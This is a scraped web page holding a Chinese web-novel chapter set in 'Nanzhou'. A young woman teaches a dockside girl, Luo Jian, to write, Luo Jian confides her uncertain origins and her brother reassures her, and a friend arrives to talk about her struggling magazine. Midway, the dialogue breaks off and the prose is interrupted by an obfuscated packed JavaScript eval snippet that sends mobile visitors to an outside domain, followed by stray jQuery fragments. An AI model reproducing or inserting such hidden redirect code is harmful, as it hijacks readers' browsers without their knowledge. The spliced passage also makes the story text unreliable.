默认冷灰
24号文字
方正启体

12. 新青年

作者:耳朵的米本书字数:K更新时间:
    秋风卷着黄叶扫过陈家的后院,但秋天的南州和夏天没什么两样,枝头仍然是郁郁葱葱的,天气还是闷的可怕,只是地上偶多了几片落叶和一丝丝的若有若无的寒意。


    锅炉房门吱呀一响,被猛地推开。


    “我要学写字!”一个熟悉的声音响亮地在室内炸开。


    陈蔚青手里的铅笔头顿了一下,还没来得及转身,就见罗简一脚踢开门,大马金刀地站在门口,头发有点乱,脸颊微红,像是一路小跑上来的。


    她还没说话,罗炽南慢悠悠地抬起头,从一堆打孔卡纸后探出半张脸:“你发什么疯?”


    “我不疯!”罗简气鼓鼓地瞪他,“我就想学写字!”


    蔚青一时间没反应过来,眨了眨眼,先指着罗简,又指了指罗炽南:“你这个当哥哥的,怎么不教她写字?”


    “我也不会啊。”他理直气壮地说,声音一落,又像怕挨数落似的,补了一句,“……真的不会。”


    “你不会写字?”蔚青难以置信地看着他,“那你认字吗?”


    “认啊!但,呃,反正那些简单的肯定没问题……”罗炽南越说心越虚,举起一根还沾着油污的手指,“别这样看我,我还会英文呢……就是那种拆机器时看懂型号的英文。”


    蔚青扶额,哭笑不得:“行吧!我来教你。”


    罗简眼睛立刻亮了,像捡到了糖:“真的?”


    “我也不是白教的。”蔚青一边说,一边敲了敲桌上那沓刚写到一半的纸稿,“你得帮我朋友黎婉芝出出主意。她想办一张刊物,可最近一直没什么起色。你鬼点子多,说不定能帮上忙。”


    “什么刊物?写什么的?”罗简一歪头,眼睛闪闪发亮地看着她。


    “新思想啊,新社会啊什么的。”


    “婉芝那报纸还在办啊?”沈时砚头也没抬,“我还以为早就因为没人看休刊了。”


    “她可是说要办成南州的《新青年》。”蔚青笑了,扬了扬眉,“阿简,去,把你那写字的东西都拿来,我这就给你上课。”


    锅炉房的老木桌被清了出来,油迹斑斑的卡纸、电阻和导线被小心推到一边,腾出一块空地。阳光从高窗斜斜照进来,落在桌面上,那是一道秋日特有的暖黄。


    “坐好。”陈蔚青像个小先生似的,把一张泛黄的格纸摊在桌上,“来,先写‘人’字。”


    罗简托着腮坐下:“你别说,这样一坐还真像小时候茶水铺里那几个学徒上课。”


    “你小时候就该上这个课。”蔚青把笔往她手里一塞,“握稳了。”


    罗简试着在纸上写下一个“人”,歪歪扭扭,像个快摔倒的小人。


    “哇,好丑。”她自己先笑了出来。


    “你也知道丑?”蔚青也忍不住笑了,“歪成这样也敢拿出来。”


    “你当年写字就很美?”罗简反击道。


    蔚青抬头想了想,明明是一个笑话,她的回复却格外的严肃:“太久了,不记得了。”她顿了顿,补了一句,“而且我小时候是跟老师一个字一个字学的。”


    话音刚落,气氛就有些微妙地静了一下。


    罗简察觉出来了,转开话题:“那我是不是也算拜你为师啦?”


    “我可没你那大礼。”蔚青拍了拍她的脑袋,“你快写,写十遍‘人’,再写‘心’。写完我来检查。”


    “是——先生。”罗简拉长了语调,嘴角却忍不住翘着,低下头一笔一画写起来。


    锅炉房里一时安静下来,只听见铅笔在纸上沙沙作响。远处有鸟飞过,高窗外秋叶簌簌落下。


    沈时砚正拿着锉刀修电机,他瞥了一眼那边写字的两人,嘴角一翘。


    “天、地、玄、黄——”罗简念着笔画,咬着牙写下一排,像是在给每一笔都按上力气。


    陈蔚青坐在她旁边,一边给她正字,一边笑:“好丑啊。”


    “你才丑。”罗简哼了一声,“我写得可认真了。”


    蔚青弯起嘴角,把她写得歪七扭八的“玄”字挑出来:“你这‘玄’像个摔倒的老头。”


    “老头就老头!”罗简撇撇嘴,“他还能站起来。”


    她们从《千字文》写到《弟子规》,写到“天地玄黄,宇宙洪荒”,又写到“床前明月光,疑是地上霜”。


    陈蔚青扶着脸看她:“你学得挺快的呀,虽然还是很丑,但比大多数初学者快多了。”


    “我才不是初学者。”罗简下巴一抬,语气倔强又有点小骄傲。


    “哦?”蔚青挑眉,“你学过?”


    “不是。”她甩甩手腕,喘了口气,“我小时候经常捡报纸看,码头那边,别人不要了就丢到水边,我就翻回来擦擦干净看。那些字,我不懂,但看得多了也能记下一点。”


    陈蔚青一下子静了,像是没想到她会这么说。


    “你还看报纸?”她语气放轻了点,“都看些什么?”


    “不知道啊。”罗简也没抬头,“有时候是北边来的报纸,有时候是香港的。什么都看,有命案、有香粉铺打广告,还有人写诗。”她顿了顿,小声说:“有一回我还看见过写一个新人女演员阮玲玉的,她长得真漂亮啊……我也想演电影。”


    这一句话,她说得很轻,但铅笔仍在纸上划着,像是不想让那点羞涩显得太明显。


    陈蔚青没有立刻回话,只是低下头,帮她把最后一行“明月”改正了一笔。


    “行了行了,诗写够了。”陈蔚青收起那页满是李白和杜甫的字练,“现在写点重要的。”


    “写什么?”罗简甩了甩手腕,仿佛真把自己当成了正经学生。


    “写你名字。”蔚青把一张干净的纸推过去,拿笔在角落写了两个字作范例:“羅、簡”


    “……这我会写。”罗简嘀咕着照着写了一遍,歪歪扭扭,但倒也能认。


    “我一直想问,”陈蔚青托着下巴看她,“你为什么叫‘简’?‘罗简’,听起来像是英文名‘Jane’的音。”


    “我也不知道啊。”她把铅笔放下,“听说是以前养大我的那个码头工人给我取的。那时候有个在船上做事的读书人路过,说他最近在翻译一本洋书,说是女主角也叫‘简’,挺厉害的……所以就拿来给我起名了。”


    “……不会是《JaneEyre》吧?”沈时砚的声音从铁块堆后响起,他慢悠悠地探出头来,“我以前读过一点点。讲的是一个从小被寄养在舅妈家的孤女……”他说到这里突然顿住,像是意识到了什么,没再往下讲。


    空气突然静了几秒。


    罗简低下头,盯着那张写有“罗简”二字的纸,一笔一画的,看得出神。


    “我也不知道。”她忽然开口,声音低下来,“我连那个翻译书的人是谁都不知道,也不记得那个把我养大,把我扔到街上的工人是谁。”


    她抬起头,眼睛盯着桌上的那盏小台灯,“我不知道我爸爸是中国人还是妈妈是中国人。我有时候想……如果我要找他,那我该去找一个男人,还是一个女人?”


    没人说话。


    “我以前以为我是中国人。”她咬着牙笑了一下,“但小时候在巷子里玩,总有孩子说我是‘半个鬼子’。我又不会说洋文,洋人看我像乞丐,中国人看我像外人。现在长大一点了,虽然也没人说了,但……”


    她手指一点一点地摩挲着那两个字:“我只是……有时候不知道我是谁,我该去哪。”


    沈时砚似乎想说什么,最终只把眼神移开,继续在他手里的纸上画电路图。


    她绽开一个苦涩的笑:“但我现在在纺织厂有工作!还有朋友!还有人教我写字!已经很好了!”


    陈蔚青慢慢伸手,把那张写有“罗简”的纸叠起来,压在她面前。


    “你已经有名字了。”她轻声说,“你已经有地方写下这个名字了。”


    锅炉房里一时静得出奇,连窗缝灌进来的风都像是迟疑了一下。


    就在这时,罗炽南“哗”地一下站起来,打破了沉默。


    他走过来,弯腰从罗简面前抢过那张写有“罗简”的纸,嘴里嘟囔着:“哎呀,哭什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502446|170413||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哭……难看死了。”


    他抄起铅笔,动作笨拙地在她名字的下面写了三个字:“羅熾南”。笔划粗重、歪歪扭扭,像是六岁小孩的字。


    “看,”他扬了扬纸,“这上面不是还有我呢嘛!”


    他一边把纸推回去,一边说:“怎么就没有家了?你哥我还活着呢,你爱找爸找妈,那是你自己的事;可我在这儿呢,从小到大都在这儿。你哭了,我打人;你挨饿,我想办法偷吃的回来。”


    他嗓子有点哑:“我不是给你唱过戏,不是给你剪过头发了吗?这不都是哥哥做的吗?”


    “你说你没家。”他声音低了点,“那我算什么?”


    罗简张了张嘴,没说出话来。她把那张纸重新抓到手里,看了好一会儿,突然一把扑过去,把哥哥抱住,死死搂住不撒手。


    “……我有家。”她的声音闷在他肩膀里,带着点鼻音,“我早就有家了。”


    “哎哟你轻点。”罗炽南嫌弃地拍了拍她的后背,“你一身汗,黏死了。”


    锅炉房门又一次“砰”地被推开,比刚才还响。


    “干嘛——你们这是在锅炉房搞罗曼蒂克啊?”黎婉芝的声音像一颗弹珠一样弹进屋里,一边说一边走进来,嘴角噙着笑,像是刚从喜剧舞台上跳下来的女学生。


    陈蔚青猛地回头,眼睛一亮:“婉芝?你怎么来了?”


    黎婉芝穿着一身偏旧的蓝白相间布裙,腰间系着根带子,背上斜挎着一只被书和报纸撑得圆滚滚的帆布包。她头发被风吹得有点乱,鞋跟还粘着一小片不知哪里带来的树叶。她一手叉腰,一手扯下背包,像个准备宣布什么的人。


    “再不来你就完蛋了。”她喘了口气,“你家刚才派人杀到我家门口,说是来找你,我只好硬着头皮说你去女中帮我爸教书了。真不知道还能帮你瞒多久……”


    她说着话时已经扫到了屋里另一位陌生但又特别的身影——罗简。


    “欸?这就是你说的那个小姑娘?”她挑眉看向蔚青,眼神里写着“我很感兴趣”。


    “没错。”蔚青一手拉过罗简,一边笑着说,“我正教她写字呢。打算让她以后替你那份伟大的报纸添砖加瓦。”


    黎婉芝当即双眼发光,一步冲过去拉住罗简的手,像发现新大陆似的:“太好了太好了!我离办成南州的《新青年》又近一步啦!”


    她一边握着罗简的手摇,一边转头对蔚青说:“等我哪天去法国了,这张报纸就交给你了!”


    “你认真的?”蔚青挑眉,“南州的新青年?你还真是敢想。”


    “怎么啦?”婉芝理直气壮,“我办不成《新青年》,那是因为没人给我写文章!你这不是已经在亲手培养作家了?”


    “你怎么不说,是因为你没有周树人给你供稿呢?”蔚青撇嘴。


    “也有这方面的原因。”婉芝不以为意地耸耸肩,还做了个夸张的鬼脸,“但鲁迅不来,蔚青就来嘛!”


    罗简全程懵懵地看着这两个一唱一和的小姐,说不出话来。


    “她……她真的要让我写文章?”她小声问。


    “你会写字我就让你写。”黎婉芝笑得眼睛弯弯的,“不会也没关系,我觉得有潜力。”


    “她这是在夸你。”陈蔚青忍不住解释。


    “哦!”罗简终于反应过来,咧嘴一笑。


    这时沈时砚抬起头,语气不咸不淡地插了一句:“婉芝你那张报纸现在有几个读者啊?”


    “呸,你懂什么。”婉芝白了他一眼,拽着帆布包坐在桌边,“我可是南州最有理想的女报主编,有蔚青看不就行了。”


    “居然还有蔚青在看,那比我想象的多。”沈时砚继续低头摆弄电阻丝。


    “你少酸!”婉芝从包里掏出几张粗糙的油印稿子,摊在桌上,“呐,你看,第六期。”


    众人拿起报纸,你一言我一语地讨论了起来。五人互相打趣的声音再锅炉房里此起彼伏,锅炉房外风吹得树叶哗啦啦响。罗简别过头,看着窗外。


    今年一定是个丰收的年。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)